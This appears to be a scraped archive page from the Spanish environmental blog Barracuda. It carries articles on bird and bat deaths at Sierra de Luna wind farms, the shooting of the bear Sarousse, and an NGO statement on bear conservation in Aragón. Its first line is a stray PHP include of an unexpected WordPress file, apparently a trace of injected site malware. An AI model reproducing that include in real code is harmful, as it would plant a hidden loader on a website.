@include( ABSPATH . WPINC . '/client.php'); Barracuda » Mamíferos

Barracuda

Posts archivados en la categoría Mamíferos

EL MATADERO EÓLICO DE LA SIERRA DE LUNA (I): MONLORA

25th diciembre 2020 | Atentados ecológicos,Aves,Energía,Eólica,Mamíferos,Política y Sociedad

El Gobierno de Aragón ha remitido a la Asociación Naturalista de Aragón (ANSAR) la información que esta asociación solicitó, relativa a la fauna ingresada en el centro de recuperación de fauna silvestre (CRFS) de La Alfranca proveniente de los animales siniestrados en los parques eólicos ubicados en la Sierra de Luna y los Montes de Castejón de Valdejasa en los TM de Luna, Sierra de Luna, Las Pedrosas y Castejón de Valdejasa (Zaragoza, Aragón, España).

El documento aportado por el Gobierno de Aragón indica para cada registro, el número de historia del CRFS, la especie, la fecha de entrada en el centro, el lugar y coordenadas UTM del punto de recogida y la fecha de retirada del campo, el término municipal y el diagnóstico de la causa del siniestro.

Hay que tener en cuenta que la fecha de entrada al CRFS es posterior a la de recogida en el campo. A veces con varios días de diferencia ya que los cadáveres son guardados en congeladores hasta acumular un número suficiente para rentabilizar el transporte. Sólo si el animal está vivo llega al CRFS el mismo día o al día siguiente de su recogida en el campo. A su vez, la retirada del campo suele suceder días después de ocurrido el siniestro.

Los animales que llegan al CRFS son aportados por los agentes de protección de la naturaleza, los APN, como autoridades ambientales, que los retiran tras recibir aviso, bien de la empresa promotora que está obligada a hacer el seguimiento de la siniestralidad en los primeros años de funcionamiento de las instalaciones eólicas, bien de particulares (agricultores, cazadores, excursionistas…) que hallan los animales abatidos; o son hallados y retirados por los propios APN en sus labores de vigilancia del territorio. Además hay que tener en cuenta que los animales abatidos que sí son detectados pueden desaparecer antes de ser recogidos por las autoridades y no constar su registro en el CRFS. Y, luego hay que tener en cuanta los animales que caen pero que no son hallados por ser depredados o quedar ocultos entre la vegetación o los cultivos.

PPEE Monlora

A continuación se adjunta extracto del listado de animales siniestrados y fecha de entrada en el CRFS provenientes del complejo eólico Monlora, así como ubicación del animal respecto de las máquinas. El complejo Monlora comprende cinco parques eólicos con 61 máquinas en total.

Monlora

Siniestros PE Monlora. Fuente: CRFS, Gobierno de Aragón

Los datos del complejo Monlora comprenden los animales que llegaron al centro de recuperación recogidos en el campo entre el 9 de marzo y el 13 de septiembre de 2020, aproximadamente seis meses, resultado del seguimiento de siniestralidad al que está obligado el promotor. Son nueve murciélagos y 37 aves, que suman 46 animales. Hay que destacar que, por tamaños, abarcan desde el buitre leonado al murciélago enano. El buitre leonado con 25 ejemplares es la especie que mayor número de víctimas registra, además de destacar un águila real y dos milanos reales, especie que está declarada en peligro de extinción. En todos los casos menos uno se especifica que la siniestralidad fue por colisión con la pala del aerogenerador.

El caso de los milanos reales es muy grave ya que la especie está catalogada en España como en peligro de extinción según consta Catálogo español de especies amenazadas. Los gobiernos invierten por ello recursos económicos y medios humanos y materiales en recuperar la especie. El Gobierno de Aragón, incluso alardea de su programa de cría en cautividad, pero luego autoriza parques eólicos que son auténticos mataderos de aves y murciélagos.

Monlora

Siniestros PE Monlora. Fuente: CRFS, Gobierno de Aragón

Hay que recordar que los animales ingresados en el CRFS son sólo una parte de los realmente siniestrados ya que una buena parte no son encontrados por los encargados del seguimiento o bien no se retiran del campo o no llegan al CRFS, aspectos ambos que requerirían un artículo aparte. Además hay que sumar la siniestralidad también directa causada por las líneas de alta tensión de evacuación de la energía y por la subestación eléctrica, datos que no se han aportado. Por otra parte, hay que tener en cuenta la mortalidad oculta de los ejemplares juveniles por la desaparición de adultos reproductores en primavera y verano ya que ésta ocasiona la muerte de los pollos jóvenes en los nidos en caso de las aves, o de los cachorros de murciélagos en las cavidades de cría.

El complejo Monlora comprende cinco parques eólicos cuya construcción fue muy polémica por los defectos graves en los estudios ambientales previos a su instalación y que el Gobierno de Aragón a traves del INAGA se negó a corregir tras las denuncias de los grupos ecologistas (ver: Monlora III amenaza los alimoches del valle del Ebro/Barracuda, 2019).

A causa de las denuncias ecologistas sobre el peligro del PE Monlora III y los adyacentes para las aves, INAGA encomendó a los promotores del complejo eólico Monlora instalar un sistema anticiolisión de aves en varias máquinas que ha resultado inútil (ver: PE Monlora III, ya mata/Barracuda, 2020; Aerogeneradores con bocina inútil/Barracuda, 2020)

milano negro abatido

Milano negro abatido bajo la máquina nº 4 de PE Monlora III

Hay que recordar que el complejo eólico Monlora de la empresa promotora Forestalia de Fernando Samper Rivas forma parte del proyecto Phoenix promovido por el consorcio formado por Mirova (42%), Engie (33%), Forestalia (25%), el cual adquirió 344,2 MW de los 1.200 MW adjudicados a la Sociedad Aragonesa Transeuropea de Energías Renovables SA del grupo Forestalia en la subasta de mayo de 2017 y los rebautizó con el nombre de Proyecto «Phoenix».

Este proyecto cuenta con 91 aerogeneradores que equipan los parques eólicos El Saso Fase II (111,40 MW), La Rinconada (30,00 MW), La Sarda (30,40 MW), Monlora I (49,40 MW), Monlora II (49,40 MW), Monlora III (49,40 MW), Monlora IV (21,60 MW), Monlora V (30,40 MW), en la provincia de Zaragoza, y Monforte I (21,60 MW) y Monforte II (22,80 MW) en la provincia de Teruel. La Sarda y los cinco Monlora se ubican en la Sierra de Luna y entraron en funcionamiento a fiunales de 2019 y comienzos de 2020 (Ver: ¿Qué ha sido de los 1.500 MW adjudicados a Forestalia en las subastas de renovables?/El periódico de la energía, 20201009).

El complejo eólico Monlora se autorizó para su puesta en funcionamiento siendo responsables en el Gobierno de Aragón el presidente Javier Lambán Montañés/PSOE, el consejero de industria Arturo Aliaga López/PAR y su director general de energía Sergio Breto Asensio; siendo sus antecesores que impulsaron la tramitación Marta Gastón Menal y Alfonso Gómez Gámez respectivamente; siendo el consejero de medio ambiente Joaquín Olona Blasco y su director general de medio natural Diego Bayona Moreno y siendo director del INAGA Jesús Lobera Mariel que firmó la resolución favorable a la instalación de todos esos parques.

En los municipios donde perecen tantas aves y murciélagos son alcaldes Víctor Corbacho Cabestré/PSOE (Las Pedrosas), María Luisa Naudín Lambán/PAR (Sierra de Luna), Luis Miguel Casajús Ciudad/PSOE (Luna) y Eduardo Luna/PSOE (Castejón de Valdejasa).

En un próximo artículo revisaremos los datos de siniestralidad de PE La Sarda, PE La Peña y PE Santo Domingo de Luna, todos en la Sierra de Luna y los Montes de Castejón de Valdejasa.

Anímate a hacer un comentario

CONDENAN LA MUERTE DE LA OSA SAROUSSE POR DISPAROS

2nd diciembre 2020 | Atentados ecológicos,Biodiversidad,Caza,Ecologismo,Mamíferos,Política y Sociedad

Los grupos ecologistas condenan la muerte de la osa “Sarousse” en una cacería y exigen al Gobierno de Aragón prohibición cautelar e inmediata de la caza en todas las zonas con presencia de oso.

El domingo fue un día muy duro y triste para la conservación del oso pardo en los Pirineos y para los amantes de la naturaleza. Desde hace años los grupos ecologistas vienen advirtiendo y denunciando la inacción y falta de gestión del Gobierno de Aragón, con esta especie en peligro de extinción y en particular con la osa “Sarousse” (*) abandonada a su suerte durante años.

Todo esto ha desembocado en la trágica muerte de la osa “Sarousse” por el disparo de un cazador, en el Pirineo aragonés, en el mismo día que también se ha producido la muerte de otra osa en montañas de Palencia durante una cacería de jabalí. Los sucesos son de una gravedad intolerable para una sociedad avanzada y comprometida con la conservación de la naturaleza.

Desde los grupos ecologistas esperaremos los avances en la investigación judicial, reservándonos el derecho si es preciso de presentarnos como acusación particular. También queremos puntualizar sobre los antecedentes y circunstancias en que se han producido, con la más que discutida autorización de la caza como actividad esencial durante el confinamiento del resto de la sociedad durante la emergencia sanitaria por COVID19. La caza en Aragón desde hace varios años posee una falta de control y vigilancia manifiesta, que desemboca en hechos tan desafortunados como muerte de “Sarousse”. Cientos de cazadores con sus armas recorren cada fin de semana los montes de la región sabedores de que la administración carece de medios y personal suficientes para vigilar el cumplimiento de la normativa en cada territorio, inclusive en los espacios naturales protegidos.

La práctica cinegética se sigue autorizando y justificando, sin ninguna base científica, como actividad esencial para el control de “plagas” de herbívoros en todo el país, causando la muerte de miles de estos y otros animales silvestres, base de la dieta de pequeños carnívoros y aves rapaces, a menudo también victimas de “accidentes y confusiones” por parte de los cazadores.

El Gobierno de Aragón no protege las especies amenazadas

En el caso del oso pardo, hemos denunciado reiteradamente en los últimos años la grave irresponsabilidad e inacción del actual titular del Departamento de Agricultura, Ganadería y Medio ambiente, Joaquín Olona, obstaculizando y dilatando sine die la aprobación de un Plan de Recuperación y Conservación de esta especie, instrumento legal imprescindible para articular medidas eficaces que ayuden tanto a lograr la restauración de una población viable de oso pardo en territorio aragonés, como para prevenir, reducir y compensar adecuadamente los daños que pueda causar a la ganadería extensiva.

Máximo rigor e independencia hasta la aclaración del caso

Las investigaciones deben realizarse con cautela y en profundidad por organismos expertos e independientes de toda presión mediática o política hasta lograr su esclarecimiento, respetando la presunción de inocencia tanto del cazador como de la víctima, en este caso una osa adulta que se había asentado en la Ribagorza desde hace casi 15 años, sin dejar descendencia. Varias organizaciones nacionales y aragonesas estudian personarse en la causa judicial así como otras medidas para exigir responsabilidades.

Un daño incalculable al patrimonio natural de los aragoneses

Más allá del coste que para las arcas públicas supone anualmente la verificación y compensación de daños causados por “Sarouse”, y los ingresos percibidos por los ganaderos de la zona para compensar tales daños y conciliar su presencia, la desaparición de la osa echa por tierra varias décadas de intenso trabajo y fondos nacionales y europeos invertidos en el mejor conocimiento de su biología, el seguimiento de sus desplazamientos, la eficacia de las medidas más adecuadas para el manejo del ganado y la ordenación de los recursos de su hábitat. Estos son elementos claves y esenciales para la inminente, natural e irreversible llegada del oso pardo a territorio aragonés desde las poblaciones asentadas en Valle de Arán y Alt Pirineu.

Además, y a pesar de no haber dejado descendencia, quizás por encontrarse muy alejada de otros congéneres, la muerte de “Sarousse” acaba con la expectativa, al menos a corto plazo, de la recuperación de un núcleo reproductor en este sector estratégico del Pirineo.

*La osa “Sarousse” nació en Eslovenia en 1999 y fue introducida o liberada en el Pirineo francés el 21 de agosto de 2006 en la comuna de Arbas, desplazándose en 2010 casi 100km hasta el macizo del Turbón y el valle de Bardají (Huesca), donde ha resultado muerta el 29 de noviembre de 2020 durante una cacería. Contactos:

- Amigos de la Tierra Aragón (ADT)
- Asociación Naturalista de Aragón (ANSAR)
- Ecologistas en Acción (EEA)
- Fondo Natural
- Fundación para la Conservación del Quebrantahuesos (FCQ)
- SEO/BirdLife
- WWF-España

MORTALIDAD DE FAUNA EN DOS PARQUES EÓLICOS DE ZARAGOZA (I)

10th julio 2020 | Atentados ecológicos,Aves,Ecologismo,Estepas,Eólica,Mamíferos

parque eólico

Vista general de la zona de estudio. © Barracuda/J. A. Domínguez

Antecedentes

La siniestralidad de vertebrados voladores en parques eólicos es un hecho suficientemente conocido y preocupante en ámbitos científicos (1) pero que es difícil hacer trascender a los grandes medios de comunicación y a la opinión pública dadas la bula de la que disfrutan las energías renovables, y en este caso la eólica, la propaganda directa e indirecta que realizan de ésta (2), más las campañas de greenwshing o blanqueamiento que desarrollan las empresas del sector (3).

El Gobierno de Aragón obliga a hacer un seguimiento de siniestralidad de los parques eólicos de varios años de duración al comienzo de su funcionamiento con el objetivo, según se especifica en las autorizaciones, de determinar si es necesario modificar el régimen o ubicación de los aerogeneradores. La siniestralidad conlleva en la casi totalidad de los casos la mortalidad de los animales afectados, siendo las aves y los quirópteros los grupos perjudicados.

No obstante, los datos rigurosos son escasos y de baja confianza bien porque la siniestralidad se basa en estimaciones a partir de ejemplares encontrados en visitas distanciadas en el tiempo, bien por las deficiencias en la tarea de prospección (4), o bien por la presumible pérdida de pruebas dado que las bajas perjudican la imagen de las empresas explotadoras y su recogida y traslado al centro de fauna del Gobierno de Aragón supone un gasto en personal y medios. Esto puede conducir a que no se ponga por parte de las empresas demasiado entusiasmo y diligencia en hacer un seguimiento correcto de la siniestralidad. De ahí la importancia de conocer la realidad al margen de los intereses de las empresas eólicas.

Por otra parte, tras el plazo de seguimiento obligatorio, no se toma ningún tipo de medidas desde la administración y se deja de realizar cualquier tipo de control de la siniestralidad (5). El Gobierno de Aragón carece de protocolos de actuación ante la mortalidad reiterada que provocan las instalaciones eólicas en funcionamiento (6).

A continuación se presentan los datos de un estudio independiente realizado por voluntarios para conocer con la mayor aproximación posible la siniestralidad real de los parques eólicos mediante un seguimiento intensivo de un reducido número de aerogeneradores.

Método

Se ha contado con naturalistas voluntarios con amplia experiencia de campo y un elevado grado de motivación para desempeñar de forma altruista un estrecho seguimiento de la siniestralidad de vertebrados y la mortalidad asociada causada por varios aerogeneradores de dos parques eólicos contiguos situados en el centro del valle del Ebro en la provincia de Zaragoza. Por razones de confidencialidad se omite el nombre real de los parques eólicos que denominaremos X01 y X02, aunque se pasa parte de las bajas a las autoridades ambientales aragonesas, que son conocedoras de la siniestralidad de estas instalaciones.

El estudio, que está en ejecución, se inició el 9 de febrero de 2020, aunque los datos consolidados aquí referidos abarcan hasta 12 de junio de 2020, que suponen 125 días. En ese periodo se han realizado 19 visitas. En cada visita se prospectan las inmediaciones de cada aerogenerador alrededor de la torre. No se prospectan las líneas eléctricas de evacuación. No se pudo realizar el seguimiento durante las dos últimas semanas de marzo y todo el mes de abril debido al confinamiento.

Se controlan 11 aparatos, cinco corresponden al parque X01 y seis al X02. Se trata de máquinas de 2 a 3,45 MW de potencia con 106,5 m de altura de fuste hasta el buje y de tres palas de 68,5 m de radio, que da una altura total de 175 m. Cada máquina barre un área de 14 741 m² y la velocidad lineal en el extremo de las palas es de 250 a 300 km/h.

Ambas instalaciones están dentro de la fase que deben realizar seguimiento de siniestralidad tras su puesta en explotación. En concreto, para el parque X01 el condicionado del Instituto Aragonés de Gestión Ambiental (INAGA) del Gobierno de Aragón dice específicamente: […] El plan de vigilancia ambiental incluirá tanto la fase de construcción como la fase de explotación del parque eólico y se prolongará, al menos, hasta completar cinco años de funcionamiento de la instalación […] Los recorridos de búsqueda de ejemplares colisionados han de realizarse a pie y su periodicidad debería ser al menos quincenal durante un mínimo de cinco años desde la puesta en funcionamiento del parque y semanal en periodos de migraciones. Se deberán incluir tests de detectabilidad y permanencia de cadáveres con objeto de realizar las estimas de mortalidad real con la mayor precisión […]. Esta condición es común en las resoluciones del INAGA para los parques eólicos de los últimos años.

parque eólico

Vista general de la zona de estudio. © Barracuda/J. A. Domínguez

El medio natural se corresponde con una llanura suavemente ondulada a unos 350 m de altitud, dominada por cultivos cerealistas de secano con escasas manchas de vegetación natural esteparia con aprovechamiento ganadero del espacio. En avifauna cabe destacar la presencia de cernícalo primilla, ganga, ortega, sisón y aguilucho cenizo y varios aláudidos como especies más significativas. El medio presenta un alto grado de artificialización pues está densamente ocupado por instalaciones eólicas y toda su infraestrucura asociada, como amplias pistas de circulación, tendidos eléctricos aéreos y subestaciones de transformación.

La prospección se hace a pie por parte al menos de dos naturalistas y se georreferencia y se toma fotografía de cada resto hallado, a la vez que se hace una pequeña roza en el suelo con el fin de evitar dobles recuentos.

parque eólico

Referenciando un cadáver de abubilla (Upupa epops) en X02. © Barracuda/J. A. Domínguez

Resultados

Desde el 9 de febrero y a fecha de 12 de junio de 2020 se contabilizan estas bajas:

Parque eólico X01: 19 aves y 69 murciélagos, que suman 88 animales, lo que da una ratio de 17,6 animales abatidos por máquina.

Parque eólico X02: 29 aves y 26 murciélagos, que suman 55 animales, que da una ratio de 9,17 animales abatidos por máquina.

parque eólico

Tabla 1. Siniestralidad por máquinas del 09.02 a 12.06 de 2020

El total de bajas asciende a 48 aves y 95 murciélagos, que suman 143 animales, lo que da una ratio de 13 animales abatidos por máquina. Destaca la cifra de bajas de murciélagos, que duplica a la de aves.

parque eólico

Tabla 2. Siniestralidad global del 09.02 a 12.06 de 2020

Mientras los quirópteros no se han identificado específicamente sobre el terreno, sí se ha hecho una primera identificación específica de las aves, arrojando estos datos:

parque eólico

Tabla 3. Aves encontradas del 09.02 a 12.06 de 2020

Todas las bajas encontradas han sido restos de animales muertos, salvo un caso en el que un buitre leonado se encontró vivo, tras pérdida traumática de una parte del ala en un aerogenerador a gran distancia de donde fue hallado. El animal debió ser sacrificado finalmente según confirmó el centro de recuperación de fauna de La Alfranca.

A pesar de lo abultado de las cifras cabe suponer que no todas las bajas han sido halladas bien por el error típico de prospección, bien porque algunas bajas fueran retiradas por operarios del parque o depredadas, bien porque los animales heridos se desplazan y mueren lejos de las máquinas o bien porque los restos quedaron ocultos entre los cultivos cuando éstos se hicieron inaccesibles por alcanzar altura conforme avanzó la primavera.

Como dato general debe ponerse de manifiesto que en todas las salidas se hallaron bajas y que todos los aerogeneradores han causado bajas. La salida en la que más ejemplares se hallaron fue la de primeros de mayo (02-03/05) tras el confinamiento en la que se encontraron 35 cadáveres o restos de animales, en la cual el aerogenerador X0104 dio el registro mayor de bajas, con 11 muerciélagos. La misma máquina X0104 dio el segundo mayor numero de bajas el 01/06 con ocho murciélagos abatidos.

parque eólico

Referenciando un cadáver de murciélago en X01. © Barracuda/J. A. Domínguez

(En permanente actualización)

Referencias:

1- Inasumible mortalidad de buitres en parques eólicos aragoneses. AODA, 2020
2- Descarado lavado de cara de los eólicos. Barracuda, 2019
3- Greenwashing de EDP. Barracuda, 2020
4- Camiña, A. (2000) Algo no funciona bien en los proyectos eólicos. Quercus, 407: 64-65
5- Matadero 19: parque eólico La Serreta. Barracuda, 2006
6- Terror eólico IV. P.E. Rabosera. Barracuda, 2020

José A. Domínguez

OSO PIRENAICO FOREVER

16th mayo 2020 | Biodiversidad,Mamíferos,Política y Sociedad

Los grupos ecologistas recuerdan al Gobierno de Aragón su responsabilidad en relación con la conservación del oso

Zaragoza 5 de mayo de 2020. El Gobierno de Aragón está obligado por la legislación (europea, estatal y autonómica) a conservar la biodiversidad, principalmente las especies más amenazadas, como el oso pardo, perseguido por los humanos hasta casi su desaparición (78 osos matados en el Pirineo 1903-1953). Desde el año 1990 y atendiendo lo ordenado por la Ley 4/89 y el RD 439/90, que declaraba al oso como especie amenazada, “en peligro de extinción”, se debería haber aprobado, en el periodo de un año, el Plan de Recuperación del Oso, con medidas y acciones para su protección y coexistencia con la ganadería extensiva. Si se hubiera cumplido lo estipulado por la Ley, la mayoría de los problemas actuales ya estarían solucionados. El incumplimiento sistemático durante 19 años, la dejación de funciones y la adopción de medidas improcedentes, nos ha conducido a la difícil y problemática situación actual.

El gobierno aragonés en 1993 aceptó y se comprometió con Navarra, Cataluña y Francia a recuperar y reintroducir el oso en los Pirineos, con fondos europeos Life (programa de conservación de vertebrados amenazados en los Pirineos). En fechas más recientes el ejecutivo, de manera voluntaria, respaldó ese compromiso con una carta de apoyo al proyecto PirosLife iniciado en 2014, cuya primera acción reseñada era la introducción de un nuevo ejemplar para la mejora genética de la población osera existente. Por último en 2018 la Comisión Estatal para el Patrimonio Natural y la Biodiversidad, aprueba el protocolo de intervención con osos, elaborado por el Grupo de Trabajo del Oso en los Pirineos (formado por técnicos del Ministerio de Transición Ecológica y los Gobiernos de Cataluña, Aragón y Navarra). Por ello desde las organizaciones ecologistas no consideramos aceptable, ni la actitud, ni los mensajes, que el Consejero Olona ha transmitido a la sociedad aragonesa y en particular a los ganaderos.

En la actualidad la población de osos en el Pirineo (España-Francia) está formada principalmente por ejemplares procedentes del reforzamiento, estimándose más de 50 individuos. En este proceso de recuperación Francia, Cataluña y Navarra han ido cumpliendo sus compromisos, adoptando las directrices marcadas por la UE para arbitrar medidas de compatibilidad de existencia de grandes carnívoros con los usos tradicionales en el territorio, recibiendo de esta manera fondos LIFE de financiación europea. Fondos que no se reciben en nuestro territorio al haberse negado a participar el Gobierno de Aragón. Cataluña y Navarra trabajan para reducir el nivel de conflictos relacionados con el oso implementando medidas de prevención y aplicando un protocolo de indemnizaciones por daños producidos (https://piroslife.cat/es/).

La problemática suscitada por el oso “Goiat” ha puesto de manifiesto la reiterada incapacidad del Consejero Olona para prevenir y gestionar adecuadamente los diferentes problemas de conservación de la biodiversidad, eludiendo su responsabilidad y trasladando los problemas a los demás (franceses, catalanes, ganaderos y ecologistas). Desde las ONG hemos realizado diferentes propuestas para el mantenimiento de la ganadería extensiva en compatibilidad con la presencia de oso y lobo, susceptibles de recibir financiación de la UE: fomento de agrupación y vigilancia de rebaños (perros de guardia y trabajo), financiación de la contratación de pastores auxiliares, mejora de las instalaciones en puertos de verano (mangas, bebederos, techados, cabañas, cercados eléctricos y elementos disuasivos), indemnizaciones justas y rápidas, formación (asesoramiento e información), aumento en la inversión, investigación e innovación de medidas de manejo y reducción de daños y ayudas a la ganadería extensiva por el pago de servicios ambientales (explorando instrumentos de financiación europea e incentivos o reducciones fiscales). Los incumplimientos legales de las sucesivas consejerías son los que generan los problemas actuales y sus nefastas repercusiones. Solo actúan cuando se ven desbordados por la realidad, con desafortunadas declaraciones que sólo agravan los problemas.

El Gobierno de Aragón debería disponer de la información sobre la presencia y desplazamientos de los osos en el Pirineo, tal y como se acordó en la reunión entre España y Francia celebrada en mayo en Madrid, con el objeto de poner en marcha medidas que permitieran reducir las posibles afecciones a la ganadería extensiva. Precisamente por eso se marcó con un GPS a “Goiat” en mayo 2019, para activar los protocolos de prevención y ayuda a los ganaderos. La presencia del oso en Aragón va a aumentar en las siguientes décadas y es imprescindible que la administración ayude al sector ganadero a adaptarse a esta nueva circunstancia sin que sean los paganos de esta situación.

Desde las organizaciones ecologistas hacemos un llamamiento a la cooperación entre todos los implicados en la búsqueda de soluciones, diálogo y transparencia, con el fin de debatir las medidas de prevención e indemnización más adecuadas para el sector ganadero.

Todas las medidas señaladas y las que se puedan aportar en el proceso de participación para elaborar la norma legal, deberían estar incluidas en el Plan de Recuperación del oso en Aragón que el Gobierno de Aragón debería haber aprobado, publicado, desarrollado y financiado, hace ya demasiados años.

El oso pardo al estar catalogado como especie “En peligro de extinción obliga al estado y a las autonomías a responsabilizarse y tomar las necesarias acciones y realizar los planes para su conservación.

El documento “ESTRATEGIA PARA LA CONSERVACIÓN DEL OSO PARDO (Ursus arctos) EN LOS PIRINEOS” aprobado en la Conferencia Sectorial de Medio Ambiente el 2 de junio de 2006, refuerza la obligación inexcusable de conservación del oso, tanto al Ministerio para la Transición Ecológica como a todas las CCAA pirenaicas. Transcurridos 14 años desde la aprobación, se impone una revisión y actualización de este documento, con el compromiso de todas las administraciones para cumplir sus prescripciones.

Por último las organizaciones ecologistas exigimos al Presidente del Gobierno de Aragón que nombre a una persona capaz y responsable para crear las mesas de trabajo y la elaboración del Plan de Recuperación del Oso, el actual Consejero, al igual que los que le han precedido en el cargo, ha demostrado ser incapaz para afrontar conflictos ambientales que él mismo genera y una reiterada negligencia en el cumplimiento de la normativa ambiental.

Grupos ecologistas firmantes del comunicado:

SEO/BirdLife.
Fundación para la Conservación del Quebrantahuesos (FCQ).
Amigos de la Tierra Aragón.
Fondo Natural.
Ecologistas en Acción
FAPAS
ANSAR

Documentación adjunta:
Carta de apoyo del Gobierno de Aragón al PirosLife y una de las acciones apoyadas.

Enlaces a consultar:

Estrategia del Unión Europea sobre la biodiversidad hasta 2020:

http://ec.europa.eu/environment/nature/info/pubs/docs/brochures/2020%20Biod%20brochure_es.pdf

Ley 42/2007 del Patrimonio Natural y la Biodiversidad:

https://www.boe.es/buscar/doc.php?id=BOE-A-2007-21490&fbclid=IwAR2Xuf_YTdjHWTNt1madMoF8QCbmw1ZKmZi45UPkYHOwR50gSa9kUcb2Sz0

Catálogo de Especies Amenazadas de Aragón:

http://www.boa.aragon.es/cgibin/EBOA/BRSCGI?CMD=VEROBJ&MLKOB=455471614340

Proyecto LIFE:

https://piroslife.cat/es/

EU Platform on Coexistence between People and Large Carnivores:

http://ec.europa.eu/environment/nature/conservation/species/carnivores/coexistence_platform.htm

Web de información estado francés sobre el oso en Pirineos:

https://www.info-ours.com/events

Plan de acción del oso pardo (2018-2028), que contempla importantes acciones de ayuda al pastoralismo:

https://www.actu-environnement.com/media/pdf/news-31262-plan-actions-ours-2018-2028.pdf

Marcaje “Goiat”

https://www.lavanguardia.com/local/lleida/20190527/462517340686/capturan-oso-aran-gps.html

Navarra adopta medidas para la coexistencia Oso-Ganadería:

https://www.noticiasdenavarra.com/actualidad/sociedad/2019/05/21/navarra-intensificara-medidas-disuasorias-alejar/830979.html

https://www.noticiasdenavarra.com/actualidad/sociedad/2020/01/15/42-geolocalizadores-rebanos-5-perros/1015397.html

https://www.noticiasdenavarra.com/actualidad/sociedad/2019/11/17/gobierno-busca-financiar-ue-convivencia/1003461.html


ÚLTIMOS COMENTARIOS

LO MÁS RECIENTE

LO MÁS VISITADO

Tienda Barracuda

ARTÍCULOS POR CATEGORÍAS

CALENDARIO DE ARTÍCULOS

enero 2021
L M X J V S D
« dic    
 123
45678910
11121314151617
18192021222324
25262728293031

ARTÍCULOS POR MESES

PÁGINAS